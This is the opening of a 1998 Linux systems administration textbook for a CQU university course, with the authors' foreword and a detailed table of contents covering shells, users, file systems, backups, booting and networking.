An Introduction to Linux Systems Administration

Third Edition

David Jones Bruce Jamieson

Forward
This text is the third of a series of books which have been written for the CQU subject 85321, Systems Administration. This is the first version which CQU has printed and distributed to students and also is the first version which has concentrated solely on Linux. More information about the unit 85321 is available on the unit Web site, http://infocom.cqu.edu.au/85321/ The following is a bit of personal blurb from each of the authors of this text.

David Jones
Writing a book, even one as rough around the edges as this one, is a difficult, frustrating, complex and lengthy task. During the creation of this book a number of people helped me keep my sanity while others contributed to the book itself. The people who kept me sane are too many to mention. The contributors include Bruce Jamieson, who wrote a number of the chapters and offered useful and thoughtfull insights, and Elizabeth Tansley and Kylie Jones who helped proof the book. As you should be able to tell by now neither Elizabeth or Kylie proofed this forward. One thing to come out of writing this text is a reinforcement of my hatred of Microsoft software, in particular Word for Windows.

Bruce Jamieson
It is traditional for the forward to contain thank-yous and pearls of wisdom. It is because of this that people don't read forwards. However, in keeping with tradition, I will do both. Thanks to Tabby, my cat, who has been consistently neurotic since I started working on this project, mainly due to my weekend absences disrupting her feeding times. Thanks also to the guppies whose lives were lost supplementing the aforementioned cat's diet over this period. I'd like to make one serious comment: when I began working with UNIX, I hated it. The reason why I hated it was that I didn't understand it. Its obscure complexities and (for the want of a better word) "different ness" initially made it hard to learn and understand. It is for the same reasons that I now love working with UNIX systems - I hope this material will inspire you to feel the same way.

David Jones and Bruce Jamieson (15/10/98)

Page 2

85321, Systems Administration

Table of Contents

Table of Contents
FORWARD.......................................................................................................................................2 DAVID JONES ..................................................................................................................................2 BRUCE JAMIESON ............................................................................................................................2 TABLE OF CONTENTS .................................................................................................................3 CHAPTER 1 THE WHAT, WHY AND HOW OF SYS ADMIN................................................16 INTRODUCTION .............................................................................................................................16 WHAT SYSTEMS ADMINISTRATORS DO ...........................................................................................16 USERS ..........................................................................................................................................17 HARDWARE/SOFTWARE .................................................................................................................18 SUPPORT.......................................................................................................................................18 WHAT SYSTEMS ADMINISTRATORS NEED TO KNOW ........................................................................19 WHY UNIX? ................................................................................................................................20 UNIX PAST, PRESENT AND FUTURE ................................................................................................20 LINUX ..........................................................................................................................................21 SOME MORE SYS ADMIN THEORY ...................................................................................................21 DAILY OPERATIONS .......................................................................................................................21 AUTOMATE, AUTOMATE AND AUTOMATE .......................................................................................22 SYSTEM MONITORING....................................................................................................................22 HARDWARE AND SOFTWARE ..........................................................................................................23 EVALUATION ................................................................................................................................24 PURCHASE ....................................................................................................................................24 INSTALLATION ..............................................................................................................................24 HARDWARE ..................................................................................................................................24 ADMINISTRATION AND PLANNING ..................................................................................................25 DOCUMENTATION .........................................................................................................................26 POLICY .........................................................................................................................................28 PENALTIES ....................................................................................................................................28 TYPES OF POLICY ..........................................................................................................................29 CREATING POLICY .........................................................................................................................29 CODE OF ETHICS............................................................................................................................29 SAGE-AU CODE OF ETHICS...........................................................................................................29 SAGE-AU CODE OF ETHICS ...........................................................................................................30 PEOPLE SKILLS ..............................................................................................................................31 COMMUNICATING WITH USERS ......................................................................................................31 HOW NOT TO COMMUNICATE WITH USERS .......................................................................................34 CONCLUSIONS...............................................................................................................................35 CHAPTER 2 INFORMATION SOURCES ..................................................................................36 INTRODUCTION .............................................................................................................................36 PROFESSIONAL ORGANISATIONS .....................................................................................................36 OTHER ORGANISATIONS ................................................................................................................37 THE SAGE GROUPS ......................................................................................................................37 THE ACS......................................................................................................................................37 UNIX USER GROUPS .....................................................................................................................37 USEFUL BOOKS AND MAGAZINES ....................................................................................................38 BIBLIOGRAPHIES ...........................................................................................................................38 MAGAZINES ..................................................................................................................................39 INTERNET RESOURCES ...................................................................................................................39 HOW TO USE THE INTERNET ...........................................................................................................39 SOFTWARE ON THE INTERNET ........................................................................................................39 DISCUSSION FORUMS .....................................................................................................................40 USENET NEWS ...............................................................................................................................40
David Jones and Bruce Jamieson (15/10/98) Page 3

85321, Systems Administration

Table of Contents

USEFUL NEWSGROUPS....................................................................................................................40 MAILING LISTS ..............................................................................................................................41 OTHER DISCUSSION FORUMS .........................................................................................................41 INFORMATION ...............................................................................................................................41 WORLD-WIDE WEB ......................................................................................................................41 ANONYMOUS FTP.........................................................................................................................42 INTERNET BASED LINUX RESOURCES ..............................................................................................42 THE LINUX DOCUMENTATION PROJECT ..........................................................................................42 REDHAT .......................................................................................................................................42 CONCLUSIONS...............................................................................................................................43 REVIEW QUESTIONS ......................................................................................................................43 CHAPTER 3 USING UNIX............................................................................................................44 INTRODUCTION .............................................................................................................................44 INTRODUCTORY UNIX..................................................................................................................44 UNIX COMMANDS ARE PROGRAMS ................................................................................................45 VI ................................................................................................................................................45 AN INTRODUCTION TO VI ..............................................................................................................45 UNIX COMMANDS ........................................................................................................................46 PHILOSOPHY OF UNIX COMMANDS ................................................................................................46 UNIX COMMAND FORMAT .............................................................................................................46 A COMMAND FOR EVERYTHING ......................................................................................................47 ONLINE HELP ................................................................................................................................48 USING THE MANUAL PAGES ............................................................................................................48 IS THERE A MAN PAGE FOR... ..........................................................................................................48 MAN PAGE FORMAT........................................................................................................................49 SOME UNIX COMMANDS ...............................................................................................................49 IDENTIFICATION COMMANDS .........................................................................................................50 SIMPLE COMMANDS .......................................................................................................................51 FILTERS ........................................................................................................................................51 UNIQ .............................................................................................................................................53 TR ................................................................................................................................................53 CUT ...............................................................................................................................................54 PASTE ...........................................................................................................................................54 GREP .............................................................................................................................................55 WC ................................................................................................................................................55 GETTING MORE OUT OF FILTERS .....................................................................................................56 CONCLUSIONS...............................................................................................................................56 CHAPTER 4 THE FILE HIERARCHY.......................................................................................57 INTRODUCTION .............................................................................................................................57 WHY?...........................................................................................................................................57 THE IMPORTANT SECTIONS ............................................................................................................58 THE ROOT OF THE PROBLEM ...........................................................................................................58 HOMES FOR USERS .........................................................................................................................59 EVERY USER NEEDS A HOME...........................................................................................................59 OTHER HOMES?.............................................................................................................................60 /USR AND /VAR .............................................................................................................................60 AND THE DIFFERENCE IS... .............................................................................................................60 /USR/LOCAL .................................................................................................................................61 LIB, INCLUDE AND SRC...................................................................................................................62 /VAR/SPOOL .................................................................................................................................62 X WINDOWS .................................................................................................................................63 BINS .............................................................................................................................................63 WHICH BIN?..................................................................................................................................63 /BIN ............................................................................................................................................64 /SBIN...........................................................................................................................................64

David Jones and Bruce Jamieson (15/10/98)

Page 4

85321, Systems Administration

Table of Contents

/USR/BIN.....................................................................................................................................65 /USR/LOCAL/BIN .........................................................................................................................65 CONFIGURATION FILES, LOGS AND OTHER BITS!..............................................................................65 ETC ETC ETC. ................................................................................................................................65 LOGS ............................................................................................................................................66 /PROC...........................................................................................................................................66 /DEV ............................................................................................................................................66 CONCLUSION ................................................................................................................................66 FUTURE STANDARDS .....................................................................................................................66 REVIEW QUESTIONS ......................................................................................................................67 4.1 ...............................................................................................................................................67 4.2 ...............................................................................................................................................67 4.3 ...............................................................................................................................................67 CHAPTER 5 PROCESSES AND FILES .......................................................................................68 INTRODUCTION .............................................................................................................................68 MULTIPLE USERS ...........................................................................................................................68 IDENTIFYING USERS.......................................................................................................................68 USERS AND GROUPS .......................................................................................................................69 NAMES AND NUMBERS ...................................................................................................................69 ID ................................................................................................................................................69 COMMANDS AND PROCESSES ..........................................................................................................70 WHERE ARE THE COMMANDS?........................................................................................................70 WHICH ...........................................................................................................................................70 WHEN IS A COMMAND NOT A COMMAND? .......................................................................................70 CONTROLLING PROCESSES .............................................................................................................71 PROCESS ATTRIBUTES....................................................................................................................71 PARENT PROCESSES .......................................................................................................................71 PROCESS UID AND GID ................................................................................................................72 REAL UID AND GID......................................................................................................................72 EFFECTIVE UID AND GID..............................................................................................................72 FILES ............................................................................................................................................73 FILE TYPES ...................................................................................................................................73 TYPES OF NORMAL FILES................................................................................................................73 FILE ATTRIBUTES ..........................................................................................................................74 VIEWING FILE ATTRIBUTES ............................................................................................................74 FILE PROTECTION ..........................................................................................................................76 FILE OPERATIONS ..........................................................................................................................76 USERS, GROUPS AND OTHERS .........................................................................................................77 THREE SETS OF FILE PERMISSIONS...................................................................................................77 SPECIAL PERMISSIONS....................................................................................................................78 CHANGING PASSWORDS .................................................................................................................79 NUMERIC PERMISSIONS ..................................................................................................................80 SYMBOLIC TO NUMERIC .................................................................................................................81 EXERCISES ....................................................................................................................................81 CHANGING FILE PERMISSIONS ........................................................................................................82 CHANGING PERMISSIONS ...............................................................................................................82 CHANGING OWNERS ......................................................................................................................83 CHANGING GROUPS .......................................................................................................................83 THE COMMANDS ...........................................................................................................................84 DEFAULT PERMISSIONS ..................................................................................................................85 FILE PERMISSIONS AND DIRECTORIES ..............................................................................................86 FOR EXAMPLE ...............................................................................................................................86 WHAT HAPPENS IF? .......................................................................................................................88 LINKS ...........................................................................................................................................88 SEARCHING THE FILE HIERARCHY ...................................................................................................89 THE FIND COMMAND .....................................................................................................................89

David Jones and Bruce Jamieson (15/10/98)

Page 5

85321, Systems Administration

Table of Contents

EXERCISES ....................................................................................................................................93 PERFORMING COMMANDS ON MANY FILES.......................................................................................94 FIND AND -EXEC ...........................................................................................................................94 FIND AND BACK QUOTES ................................................................................................................95 FIND AND XARGS ............................................................................................................................95 CONCLUSION ................................................................................................................................96 REVIEW QUESTIONS ......................................................................................................................97 CHAPTER 6 THE SHELL ...........................................................................................................99 INTRODUCTION .............................................................................................................................99 EXECUTING COMMANDS................................................................................................................99 DIFFERENT SHELLS ...................................................................................................................... 100 STARTING A SHELL ...................................................................................................................... 100 PARSING THE COMMAND LINE ...................................................................................................... 101 THE COMMAND LINE................................................................................................................... 102 ARGUMENTS ............................................................................................................................... 102 ONE COMMAND TO A LINE............................................................................................................ 103 COMMANDS IN THE BACKGROUND ................................................................................................ 104 FILENAME SUBSTITUTION ............................................................................................................ 104 EXERCISES .................................................................................................................................. 106 REMOVING SPECIAL MEANING ...................................................................................................... 106 INPUT/OUTPUT REDIRECTION ....................................................................................................... 108 HOW IT WORKS ........................................................................................................................... 108 FILE DESCRIPTORS....................................................................................................................... 109 STANDARD FILE DESCRIPTORS...................................................................................................... 109 CHANGING DIRECTION................................................................................................................. 109 USING STANDARD I/O.................................................................................................................. 110 FILTERS ...................................................................................................................................... 110 I/O REDIRECTION EXAMPLES........................................................................................................ 111 REDIRECTING STANDARD ERROR .................................................................................................. 111 EVALUATING FROM LEFT TO RIGHT .............................................................................................. 112 EVERYTHING IS A FILE ................................................................................................................. 113 TTY ............................................................................................................................................. 113 DEVICE FILES .............................................................................................................................. 114 REDIRECTING I/O TO DEVICE FILES .............................................................................................. 114 SHELL VARIABLES ....................................................................................................................... 115 ENVIRONMENT CONTROL............................................................................................................. 115 THE SET COMMAND ..................................................................................................................... 116 USING SHELL VARIABLES ............................................................................................................. 116 ASSIGNING A VALUE .................................................................................................................... 116 ACCESSING A VARIABLE'S VALUE ................................................................................................. 116 UNINITIALISED VARIABLES .......................................................................................................... 117 RESETTING A VARIABLE ............................................................................................................... 117 THE READONLY COMMAND ............................................................................................................ 117 THE UNSET COMMAND ................................................................................................................. 117 ARITHMETIC ............................................................................................................................... 118 THE EXPR COMMAND ................................................................................................................... 118 VALID VARIABLE NAMES.............................................................................................................. 119 {} .............................................................................................................................................. 119 ENVIRONMENT CONTROL............................................................................................................. 119 PS1 AND PS2............................................................................................................................. 120 BASH EXTENSIONS........................................................................................................................ 120 VARIABLES AND SUB-SHELLS ....................................................................................................... 120 FOR EXAMPLE ............................................................................................................................. 121 EXPORT ....................................................................................................................................... 121 LOCAL VARIABLES ...................................................................................................................... 121 ADVANCED VARIABLE SUBSTITUTION ........................................................................................... 122

David Jones and Bruce Jamieson (15/10/98)

Page 6

85321, Systems Administration

Table of Contents

EVALUATION ORDER ................................................................................................................... 123 WHY ORDER IS IMPORTANT .......................................................................................................... 123 THE ORDER ................................................................................................................................. 123 THE EVAL COMMAND ................................................................................................................... 124 DOING IT TWICE .......................................................................................................................... 124 CONCLUSION .............................................................................................................................. 124 REVIEW QUESTIONS .................................................................................................................... 125 CHAPTER 7 TEXT MANIPULATION ..................................................................................... 127 INTRODUCTION ........................................................................................................................... 127 REGULAR EXPRESSIONS ............................................................................................................... 127 RES VERSUS FILENAME SUBSTITUTION.......................................................................................... 128 HOW THEY WORK ........................................................................................................................ 129 EXTENSIONS TO REGULAR EXPRESSIONS ....................................................................................... 129 EXAMPLES .................................................................................................................................. 130 EXERCISES .................................................................................................................................. 130 TAGGING .................................................................................................................................... 131 FOR EXAMPLE ............................................................................................................................. 131 EXERCISES .................................................................................................................................. 132 EX, ED, SED AND VI ................................................................................................................... 132 SO???......................................................................................................................................... 132 WHY USE ED?.............................................................................................................................. 132 ED COMMANDS ............................................................................................................................ 133 FOR EXAMPLE ............................................................................................................................. 135 THE SED COMMAND ..................................................................................................................... 136 SED COMMAND FORMAT ............................................................................................................... 136 CONCLUSIONS............................................................................................................................. 137 REVIEW QUESTIONS .................................................................................................................... 138 CHAPTER 8 SHELL PROGRAMMING.................................................................................... 140 INTRODUCTION ........................................................................................................................... 140 SHELL PROGRAMMING - WHY?................................................................................................... 140 SHELL PROGRAMMING - WHAT?................................................................................................. 140 SHELL PROGRAMMING - HOW?................................................................................................... 141 THE BASICS ................................................................................................................................ 141 A BASIC PROGRAM ..................................................................................................................... 141 AN EXPLANATION OF THE PROGRAM ............................................................................................ 143 ALL YOU EVER WANTED TO KNOW ABOUT VARIABLES................................................................ 144 WHY?......................................................................................................................................... 145 PREDEFINED VARIABLES ............................................................................................................. 145 PARAMETERS - SPECIAL SHELL VARIABLES .................................................................................. 146 ONLY NINE PARAMETERS? .......................................................................................................... 148 EXERCISE ................................................................................................................................... 148 THE DIFFERENCE BETWEEN $* AND $@ ........................................................................................ 149 THE BASICS OF INPUT/OUTPUT (IO) .............................................................................................. 149 AND NOW FOR THE HARD BITS ..................................................................................................... 151 SCENARIO ................................................................................................................................... 151 IF ... THEN ... MAYBE?.................................................................................................................. 152 TESTING TESTING... .................................................................................................................... 154 EXPRESSIONS, EXPRESSIONS! ....................................................................................................... 155 EXERCISE ................................................................................................................................... 156 ALL ABOUT CASE ......................................................................................................................... 156 LOOPS AND REPEATED ACTION COMMANDS ................................................................................. 157 WHILE ......................................................................................................................................... 158 FOR ............................................................................................................................................. 159 UNTIL ......................................................................................................................................... 160 BREAK AND CONTINUE................................................................................................................... 161

David Jones and Bruce Jamieson (15/10/98)

Page 7

85321, Systems Administration

Table of Contents

REDIRECTION.............................................................................................................................. 162 NOW FOR THE REALLY HARD BITS ................................................................................................ 162 FUNCTIONAL FUNCTIONS............................................................................................................. 162 LOCAL ......................................................................................................................................... 163 THE RETURN TRIP ......................................................................................................................... 164 RECURSION: (SEE "RECURSION").................................................................................................. 164 WAIT'ING AND TRAP'ING ............................................................................................................... 165 BUGS AND DEBUGGING ............................................................................................................... 169 METHOD 1 - SET ......................................................................................................................... 169 METHOD 2 - ECHO ....................................................................................................................... 170 VERY COMMON MISTAKES .......................................................................................................... 170 AND NOW FOR THE REALLY REALLY HARD BITS............................................................................. 170 WRITING GOOD SHELL PROGRAMS ................................................................................................ 170 EVAL THE WONDERFUL! ............................................................................................................... 172 STEP-BY-STEP ............................................................................................................................. 174 THE PROBLEM ............................................................................................................................. 174 SOLVING THE PROBLEM ............................................................................................................... 176 THE FINAL PROGRAM - A LISTING ................................................................................................. 184 FINAL NOTES .............................................................................................................................. 186 REVIEW QUESTIONS .................................................................................................................... 187 SOURCE OF SCANIT ...................................................................................................................... 188 CHAPTER 9 USERS .................................................................................................................... 191 INTRODUCTION ........................................................................................................................... 191 WHAT IS A UNIX ACCOUNT? ....................................................................................................... 191 LOGIN NAMES ............................................................................................................................. 191 PASSWORDS ................................................................................................................................ 193 THE UID .................................................................................................................................... 194 HOME DIRECTORIES..................................................................................................................... 194 LOGIN SHELL .............................................................................................................................. 195 DOT FILES................................................................................................................................... 195 SKELETON DIRECTORIES .............................................................................................................. 196 THE MAIL FILE ............................................................................................................................ 196 MAIL ALIASES ............................................................................................................................. 197 ACCOUNT CONFIGURATION FILES ................................................................................................. 198 /ETC/PASSWD ............................................................................................................................. 199 EVERYONE CAN READ /ETC/PASSWD ............................................................................................ 199 THIS IS A PROBLEM ...................................................................................................................... 199 PASSWORD MATCHING................................................................................................................. 200 THE SOLUTION ............................................................................................................................ 200 SHADOW FILE FORMAT ................................................................................................................ 200 GROUPS ...................................................................................................................................... 201 /ETC/GROUP ............................................................................................................................... 201 SPECIAL ACCOUNTS ..................................................................................................................... 202 ROOT ........................................................................................................................................... 202 RESTRICTED ACTIONS.................................................................................................................. 202 BE CAREFUL................................................................................................................................ 203 THE MECHANICS ......................................................................................................................... 203 OTHER CONSIDERATIONS ............................................................................................................. 203 PRE-REQUISITE INFORMATION ..................................................................................................... 203 ADDING AN /ETC/PASSWD ENTRY ................................................................................................ 204 THE INITIAL PASSWORD ............................................................................................................... 204 /ETC/GROUP ENTRY .................................................................................................................... 204 THE HOME DIRECTORY ................................................................................................................ 205 THE STARTUP FILES ..................................................................................................................... 205 SETTING UP MAIL ........................................................................................................................ 205 TESTING AN ACCOUNT ................................................................................................................. 206

David Jones and Bruce Jamieson (15/10/98)

Page 8

85321, Systems Administration

Table of Contents

INFORM THE USER ....................................................................................................................... 207 REMOVING AN ACCOUNT ............................................................................................................. 208 DISABLING AN ACCOUNT ............................................................................................................. 208 THE GOALS OF ACCOUNT CREATION ............................................................................................ 209 MAKING IT SIMPLE ...................................................................................................................... 209 USERADD ..................................................................................................................................... 209 USERDEL AND USERMOD ................................................................................................................. 210 GRAPHICAL TOOLS...................................................................................................................... 210 AUTOMATION ............................................................................................................................. 211 GATHERING THE INFORMATION.................................................................................................... 212 POLICY ....................................................................................................................................... 212 CREATING THE ACCOUNTS ........................................................................................................... 212 ADDITIONAL STEPS ..................................................................................................................... 213 CHANGING PASSWORDS WITHOUT INTERACTION ........................................................................... 213 DELEGATION .............................................................................................................................. 213 ALLOCATING ROOT PRIVILEGE ..................................................................................................... 214 SUDO ........................................................................................................................................... 214 SUDO ADVANTAGES ...................................................................................................................... 215 EXERCISES .................................................................................................................................. 215 CONCLUSIONS............................................................................................................................. 216 REVIEW QUESTIONS .................................................................................................................... 216 CHAPTER 10 MANAGING FILE SYSTEMS............................................................................ 218 INTRODUCTION ........................................................................................................................... 218 WHAT?....................................................................................................................................... 218 WHY?......................................................................................................................................... 218 A SCENARIO ............................................................................................................................... 219 DEVICES - GATEWAYS TO THE KERNEL ......................................................................................... 219 A DEVICE IS... ............................................................................................................................. 219 DEVICE FILES ARE... .................................................................................................................... 219 DEVICE DRIVERS ARE................................................................................................................... 219 /DEV .......................................................................................................................................... 220 PHYSICAL CHARACTERISTICS OF DEVICE FILES .............................................................................. 222 MAJOR AND MINOR DEVICE NUMBERS ARE... ................................................................................. 222 WHY USE DEVICE FILES? .............................................................................................................. 223 CREATING DEVICE FILES .............................................................................................................. 223 THE USE AND ABUSE OF DEVICE FILES ........................................................................................... 224 DEVICES, PARTITIONS AND FILE SYSTEMS .................................................................................... 226 DEVICE FILES AND PARTITIONS..................................................................................................... 226 PARTITIONS AND FILE SYSTEMS .................................................................................................... 227 PARTITIONS AND BLOCKS ............................................................................................................ 228 USING THE PARTITIONS................................................................................................................ 228 THE VIRTUAL FILE SYSTEM ......................................................................................................... 229 DIVIDING UP THE FILE HIERARCHY - WHY?.................................................................................... 230 SCENARIO UPDATE ...................................................................................................................... 231 THE LINUX NATIVE FILE SYSTEM - EXT2...................................................................................... 231 OVERVIEW .................................................................................................................................. 231 I-NODES ..................................................................................................................................... 231 PHYSICAL STRUCTURE AND FEATURES ......................................................................................... 233 CREATING FILE SYSTEMS ............................................................................................................. 234 MKFS .......................................................................................................................................... 234 SCENARIO UPDATE ...................................................................................................................... 234 MOUNTING AND UN-MOUNTING PARTITIONS AND DEVICES .......................................................... 235 MOUNT ...................................................................................................................................... 235 MOUNTING WITH THE /ETC/FSTAB FILE ....................................................................................... 236 SCENARIO UPDATE ...................................................................................................................... 237 FILE OPERATIONS ....................................................................................................................... 238

David Jones and Bruce Jamieson (15/10/98)

Page 9

85321, Systems Administration

Table of Contents

CREATING A FILE......................................................................................................................... 238 LINKING FILES............................................................................................................................. 238 LN .............................................................................................................................................. 239 CHECKING THE FILE SYSTEM ........................................................................................................ 240 WHY ME?................................................................................................................................... 240 WHAT TO DO .............................................................................................................................. 240 FSCK ........................................................................................................................................... 241 USING FSCK ................................................................................................................................ 241 WHAT CAUSED THE PROBLEM?..................................................................................................... 241 CONCLUSION .............................................................................................................................. 242 REVIEW QUESTIONS ..................................................................................................................... 242 CHAPTER 11 BACKUPS ........................................................................................................... 244 INTRODUCTION ........................................................................................................................... 244 IT ISN'T JUST USERS WHO ACCIDENTALLY DELETE FILES ................................................................. 244 CHARACTERISTICS OF A GOOD BACKUP STRATEGY ........................................................................ 244 EASE OF USE ............................................................................................................................... 245 TIME EFFICIENCY ........................................................................................................................ 245 EASE OF RESTORING FILES ........................................................................................................... 245 ABILITY TO VERIFY BACKUPS ....................................................................................................... 246 TOLERANCE OF FAULTY MEDIA .................................................................................................... 246 PORTABILTY TO A RANGE OF PLATFORMS ..................................................................................... 247 CONSIDERATIONS FOR A BACKUP STRATEGY ................................................................................. 247 THE COMPONENTS OF BACKUPS .................................................................................................... 247 SCHEDULER ................................................................................................................................ 248 TRANSPORT ................................................................................................................................ 248 MEDIA........................................................................................................................................ 249 COMMANDS ................................................................................................................................ 249 DUMP AND RESTORE ...................................................................................................................... 250 USING DUMP AND RESTORE WITHOUT A TAPE .................................................................................. 252 OUR PRACTICE FILE SYSTEM......................................................................................................... 252 DOING A LEVEL 0 DUMP ............................................................................................................... 253 RESTORING THE BACKUP ............................................................................................................. 253 ALTERNATIVE ............................................................................................................................. 254 THE TAR COMMAND ..................................................................................................................... 254 THE DD COMMAND ....................................................................................................................... 256 THE MT COMMAND ....................................................................................................................... 257 COMPRESSION PROGRAMS............................................................................................................ 258 GZIP ........................................................................................................................................... 259 CONCLUSIONS............................................................................................................................. 259 REVIEW QUESTIONS ..................................................................................................................... 259 CHAPTER 12 STARTUP AND SHUTDOWN........................................................................... 261 INTRODUCTION ........................................................................................................................... 261 A BOOTING OVERVIEW ................................................................................................................ 261 FINDING THE KERNEL.................................................................................................................. 262 ROM.......................................................................................................................................... 262 THE BOOTSTRAP PROGRAM .......................................................................................................... 262 BOOTING ON A PC....................................................................................................................... 263 ON THE FLOPPY ........................................................................................................................... 263 MAKING A BOOT DISK.................................................................................................................. 263 USING A BOOT LOADER ................................................................................................................ 264 STARTING THE KERNEL................................................................................................................ 264 KERNEL BOOT MESSAGES............................................................................................................. 265 STARTING THE PROCESSES ........................................................................................................... 266 RUN LEVELS................................................................................................................................ 266 /ETC/INITTAB ........................................................................................................................... 267

David Jones and Bruce Jamieson (15/10/98)

Page 10

85321, Systems Administration

Table of Contents

SYSTEM CONFIGURATION ............................................................................................................ 270 TERMINAL LOGINS ...................................................................................................................... 271 STARTUP SCRIPTS ........................................................................................................................ 271 THE LINUX PROCESS ................................................................................................................... 272 WHY WON'T IT BOOT? ................................................................................................................. 274 SOLUTIONS ................................................................................................................................. 274 BOOT AND ROOT DISKS ................................................................................................................ 274 MAKING A BOOT AND ROOT DISK.................................................................................................. 275 USING BOOT AND ROOT ............................................................................................................... 276 SOLUTIONS TO HARDWARE PROBLEMS .......................................................................................... 277 DAMAGED FILE SYSTEMS ............................................................................................................. 277 IMPROPERLY CONFIGURED KERNELS ............................................................................................. 277 SHUTTING DOWN ........................................................................................................................ 278 REASONS SHUTTING DOWN .......................................................................................................... 278 BEING NICE TO THE USERS ........................................................................................................... 279 COMMANDS TO SHUTDOWN ......................................................................................................... 279 SHUTDOWN.................................................................................................................................... 280 WHAT HAPPENS ............................................................................................................................ 280 THE OTHER COMMANDS............................................................................................................... 281 CONCLUSIONS............................................................................................................................. 281 REVIEW QUESTIONS .................................................................................................................... 281 CHAPTER 13 KERNEL ............................................................................................................. 282 THE BIT OF THE NUT THAT YOU EAT?............................................................................................ 282 WHY?......................................................................................................................................... 282 HOW?......................................................................................................................................... 283 THE LIFELESS IMAGE ................................................................................................................... 283 KERNEL GIZZARDS ...................................................................................................................... 284 THE FIRST INCISION ..................................................................................................................... 285 MAKING THE HEART BEAT... ........................................................................................................ 286 MODULES ................................................................................................................................... 287 THE /PROC FILE SYSTEM .............................................................................................................. 288 REALLY, WHY BOTHER? .............................................................................................................. 289 CONCLUSIONS............................................................................................................................. 302 REVIEW QUESTIONS .................................................................................................................... 302 CHAPTER 14 OBSERVATION, AUTOMATION AND LOGGING ....................................... 303 INTRODUCTION ........................................................................................................................... 303 AUTOMATION AND CRON .............................................................................................................. 303 COMPONENTS OF CRON................................................................................................................. 303 CRONTAB FORMAT ........................................................................................................................ 304 CREATING CRONTAB FILES ............................................................................................................ 305 WHAT'S GOING ON ...................................................................................................................... 306 DF .............................................................................................................................................. 306 DU .............................................................................................................................................. 307 SYSTEM STATUS ......................................................................................................................... 307 WHAT'S HAPPENED? .................................................................................................................... 311 LOGGING AND ACCOUNTING ........................................................................................................ 311 MANAGING LOG AND ACCOUNTING FILES...................................................................................... 311 CENTRALISE ............................................................................................................................... 311 LOGGING .................................................................................................................................... 312 SYSLOG ....................................................................................................................................... 312 ACCOUNTING.............................................................................................................................. 316 LOGIN ACCOUNTING .................................................................................................................... 316 LAST ........................................................................................................................................... 316 AC .............................................................................................................................................. 316 PROCESS ACCOUNTING ................................................................................................................ 317

David Jones and Bruce Jamieson (15/10/98)

Page 11

85321, Systems Administration

Table of Contents

SO WHAT? .................................................................................................................................. 318 CONCLUSIONS............................................................................................................................. 318 REVIEW QUESTIONS .................................................................................................................... 319 CHAPTER 15 NETWORKS: THE CONNECTION ................................................................. 321 INTRODUCTION ........................................................................................................................... 321 RELATED MATERIAL ................................................................................................................... 322 NETWORK HARDWARE ................................................................................................................ 322 NETWORK DEVICES ..................................................................................................................... 323 ETHERNET .................................................................................................................................. 325 CONVERTING HARDWARE ADDRESSES TO INTERNET ADDRESSES .................................................... 325 SLIP, PPP AND POINT TO POINT................................................................................................... 327 KERNEL SUPPORT FOR NETWORKING ............................................................................................ 327 TCP/IP BASICS ........................................................................................................................... 329 HOSTNAMES ............................................................................................................................... 329 HOSTNAME.................................................................................................................................... 330 QUALIFIED NAMES....................................................................................................................... 331 IP/INTERNET ADDRESSES ............................................................................................................ 331 THE INTERNET IS A NETWORK OF NETWORKS ................................................................................ 333 EXERCISES .................................................................................................................................. 336 NAME RESOLUTION ..................................................................................................................... 337 ROUTING .................................................................................................................................... 340 EXERCISES .................................................................................................................................. 341 MAKING THE CONNECTION .......................................................................................................... 341 CONFIGURING THE DEVICE/INTERFACE ......................................................................................... 341 CONFIGURING THE NAME RESOLVER ............................................................................................. 342 CONFIGURING ROUTING............................................................................................................... 344 STARTUP FILES ............................................................................................................................ 347 NETWORK MANAGEMENT TOOLS .............................................................................................. 347 REDHAT GUI NETWORKING TOOLS ............................................................................................. 348 NSLOOKUP.................................................................................................................................... 348 NETSTAT ..................................................................................................................................... 349 TRACEROUTE ................................................................................................................................ 349 CONCLUSIONS............................................................................................................................. 351 REVIEW QUESTIONS .................................................................................................................... 351 CHAPTER 16 NETWORK APPLICATIONS ........................................................................... 354 INTRODUCTION ........................................................................................................................... 354 HOW IT ALL WORKS ..................................................................................................................... 354 PORTS ........................................................................................................................................ 355 RESERVED PORTS ........................................................................................................................ 355 LOOK AT PORTS, NETSTAT ............................................................................................................ 356 NETWORK SERVERS ..................................................................................................................... 357 HOW NETWORK SERVERS START ................................................................................................... 357 /ETC/INETD.CONF ..................................................................................................................... 358 HOW IT WORKS ........................................................................................................................... 358 EXERCISES .................................................................................................................................. 359 NETWORK CLIENTS ..................................................................................................................... 359 THE TELNET CLIENT ..................................................................................................................... 359 NETWORK PROTOCOLS ................................................................................................................ 360 REQUEST FOR COMMENT (RFCS).................................................................................................. 360 TEXT BASED PROTOCOLS ............................................................................................................. 360 HOW IT WORKS ........................................................................................................................... 361 EXERCISES .................................................................................................................................. 362 SECURITY ................................................................................................................................... 362 TCPWRAPPERS/TCPD .................................................................................................................. 362 THE DIFFERENCE ......................................................................................................................... 363

David Jones and Bruce Jamieson (15/10/98)

Page 12

85321, Systems Administration

Table of Contents

WHAT'S AN INTRANET? ............................................................................................................... 365 SERVICES ON AN INTRANET ......................................................................................................... 365 FILE AND PRINT SHARING ............................................................................................................. 365 SAMBA ....................................................................................................................................... 366 EXERCISES .................................................................................................................................. 368 EMAIL ........................................................................................................................................ 368 EMAIL COMPONENTS ................................................................................................................... 368 EMAIL PROTOCOLS ..................................................................................................................... 369 EXERCISES .................................................................................................................................. 371 WORLD-WIDE WEB .................................................................................................................... 371 CONCLUSIONS............................................................................................................................. 371 REVIEW QUESTIONS .................................................................................................................... 372

David Jones and Bruce Jamieson (15/10/98)

Page 13

85321, Systems Administration

Table of Contents

